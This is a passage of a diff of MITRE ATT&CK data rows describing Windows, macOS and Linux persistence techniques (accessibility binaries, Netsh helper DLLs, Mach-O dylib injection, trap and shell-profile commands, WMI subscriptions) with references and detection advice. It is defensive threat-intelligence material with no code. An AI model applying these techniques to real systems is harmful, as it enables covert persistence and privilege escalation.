sethc.exe program is often referred to as ""sticky keys"", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) @@ -2116,34 +2327,34 @@ Other accessibility features exist that may also be leveraged in a similar fashi * Magnifier: C:\Windows\System32\Magnify.exe * Narrator: C:\Windows\System32\Narrator.exe * Display Switcher: C:\Windows\System32\DisplaySwitch.exe -* App Switcher: C:\Windows\System32\AtBroker.exe","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/008', external_id='T1546.008'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/558.html', external_id='CAPEC-558'), ExternalReference(source_name='FireEye Hikit Rootkit', description='Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.', url='https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html'), ExternalReference(source_name='DEFCON2016 Sticky Keys', description='Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.', url='https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom'), ExternalReference(source_name='Tilbury 2014', description='Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', url='http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/'), ExternalReference(source_name='Narrator Accessibility Abuse', description=""Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."", url='https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html')]",attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-05-13 20:37:30.048000+00:00,Accessibility Features,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Paul Speulstra, AECOM Global Security Operations Center']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,,,,"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.",,,['SYSTEM'],,True,,,['Administrator'],['Windows'],,,,1.0 -2020-01-24 14:26:51.207000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. +* App Switcher: C:\Windows\System32\AtBroker.exe","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/008', 'external_id': 'T1546.008'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/558.html', 'external_id': 'CAPEC-558'}, {'source_name': 'FireEye Hikit Rootkit', 'description': 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html'}, {'source_name': 'DEFCON2016 Sticky Keys', 'description': 'Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.', 'url': 'https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom'}, {'source_name': 'Tilbury 2014', 'description': 'Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', 'url': 'http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/'}, {'source_name': 'Narrator Accessibility Abuse', 'description': ""Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."", 'url': 'https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Paul Speulstra, AECOM Global Security Operations Center']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.",True,['Administrator'],['Windows'],1.0,,,,['SYSTEM'],,, +attack-pattern,attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:26:51.207Z,2020-03-24T18:28:07.793Z,Netsh Helper DLL,"Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. -Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/007', external_id='T1546.007'), ExternalReference(source_name='TechNet Netsh', description='Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.', url='https://technet.microsoft.com/library/bb490939.aspx'), ExternalReference(source_name='Github Netsh Helper CS Beacon', description='Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.', url='https://github.com/outflankbv/NetshHelperBeacon'), ExternalReference(source_name='Demaske Netsh Persistence', description='Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.', url='https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html')]",attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-24 18:28:07.793000+00:00,Netsh Helper DLL,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,,,,It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence),,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-01-24 14:21:52.750000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. +Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/007', 'external_id': 'T1546.007'}, {'source_name': 'TechNet Netsh', 'description': 'Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.', 'url': 'https://technet.microsoft.com/library/bb490939.aspx'}, {'source_name': 'Github Netsh Helper CS Beacon', 'description': 'Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.', 'url': 'https://github.com/outflankbv/NetshHelperBeacon'}, {'source_name': 'Demaske Netsh Persistence', 'description': 'Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.', 'url': 'https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence),True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:21:52.750Z,2021-03-30T00:51:58.454Z,LC_LOAD_DYLIB Addition,"Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. -Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/006', external_id='T1546.006'), ExternalReference(source_name='Writing Bad Malware for OSX', description='Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', url='https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'), ExternalReference(source_name='Malware Persistence on OS X', description='Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf')]",attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-03-30 00:51:58.454000+00:00,LC_LOAD_DYLIB Addition,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']",,,,,Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.,,,,,True,,,['User'],['macOS'],,,,1.0 -2020-01-24 14:17:43.906000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. +Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/006', 'external_id': 'T1546.006'}, {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'}, {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']",,Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.,True,['User'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--63220765-d418-44de-8fae-694b3912317d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:17:43.906Z,2020-03-24T16:43:02.273Z,Trap,"Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. -Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where ""command list"" will be executed when ""signals"" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/005', external_id='T1546.005'), ExternalReference(source_name='Trap Manual', description='ss64. (n.d.). trap. Retrieved May 21, 2019.', url='https://ss64.com/bash/trap.html'), ExternalReference(source_name='Cyberciti Trap Statements', description='Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.', url='https://bash.cyberciti.biz/guide/Trap_statement')]",attack-pattern--63220765-d418-44de-8fae-694b3912317d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-24 16:43:02.273000+00:00,Trap,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,,,,"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",,,,,True,,,"['User', 'Administrator']","['macOS', 'Linux']",,,,1.0 -2020-01-24 14:13:45.936000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. +Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where ""command list"" will be executed when ""signals"" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/005', 'external_id': 'T1546.005'}, {'source_name': 'Trap Manual', 'description': 'ss64. (n.d.). trap. Retrieved May 21, 2019.', 'url': 'https://ss64.com/bash/trap.html'}, {'source_name': 'Cyberciti Trap Statements', 'description': 'Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.', 'url': 'https://bash.cyberciti.biz/guide/Trap_statement'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",True,"['User', 'Administrator']","['macOS', 'Linux']",1.0,,,,,,, +attack-pattern,attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:13:45.936Z,2021-08-20T18:01:52.120Z,Unix Shell Configuration Modification,"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. -For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/004', external_id='T1546.004'), ExternalReference(source_name='intezer-kaiji-malware', description='Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', url='https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'), ExternalReference(source_name='bencane blog bashrc', description='Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.', url='https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/'), ExternalReference(source_name='anomali-rocke-tactics', description='Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.', url='https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect'), ExternalReference(source_name='Linux manual bash invocation', description='ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.', url='https://wiki.archlinux.org/index.php/Bash#Invocation'), ExternalReference(source_name='Tsunami', description='Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.', url='https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'), ExternalReference(source_name='anomali-linux-rabbit', description='Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.', url='https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat'), ExternalReference(source_name='Magento', description='Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.', url='https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html'), ExternalReference(source_name='ScriptingOSX zsh', description='Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.', url='https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/'), ExternalReference(source_name='PersistentJXA_leopitt', description=""Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."", url='https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'), ExternalReference(source_name='code_persistence_zsh', description='Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.', url='https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js'), ExternalReference(source_name='ESF_filemonitor', description=""Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."", url='https://objective-see.com/blog/blog_0x48.html')]",attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-03-08 15:22:54.089000+00:00,Unix Shell Configuration Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Robert Wilson', 'Tony Lambert, Red Canary']","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,,,,"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. +For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/004', 'external_id': 'T1546.004'}, {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'}, {'source_name': 'bencane blog bashrc', 'description': 'Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.', 'url': 'https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/'}, {'source_name': 'anomali-rocke-tactics', 'description': 'Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect'}, {'source_name': 'Linux manual bash invocation', 'description': 'ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.', 'url': 'https://wiki.archlinux.org/index.php/Bash#Invocation'}, {'source_name': 'Tsunami', 'description': 'Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.', 'url': 'https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'}, {'source_name': 'anomali-linux-rabbit', 'description': 'Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat'}, {'source_name': 'Magento', 'description': 'Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.', 'url': 'https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html'}, {'source_name': 'ScriptingOSX zsh', 'description': 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.', 'url': 'https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/'}, {'source_name': 'PersistentJXA_leopitt', 'description': ""Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."", 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'}, {'source_name': 'code_persistence_zsh', 'description': 'Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.', 'url': 'https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js'}, {'source_name': 'macOS MS office sandbox escape', 'description': 'Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.', 'url': 'https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a'}, {'source_name': 'ESF_filemonitor', 'description': ""Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."", 'url': 'https://objective-see.com/blog/blog_0x48.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Robert Wilson', 'Tony Lambert, Red Canary']","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file. -",,,,,True,,,"['User', 'Administrator']","['Linux', 'macOS']",,,,2.0 -2020-01-24 14:07:56.276000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015) +",True,"['User', 'Administrator']","['Linux', 'macOS']",2.1,,,,,,, +attack-pattern,attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:07:56.276Z,2021-10-16T20:11:13.719Z,Windows Management Instrumentation Event Subscription,"Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015) Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018) -WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/003', external_id='T1546.003'), ExternalReference(source_name='Mandiant M-Trends 2015', description='Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.', url='https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf'), ExternalReference(source_name='FireEye WMI SANS 2015', description=""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."", url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'), ExternalReference(source_name='FireEye WMI 2015', description='Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'), 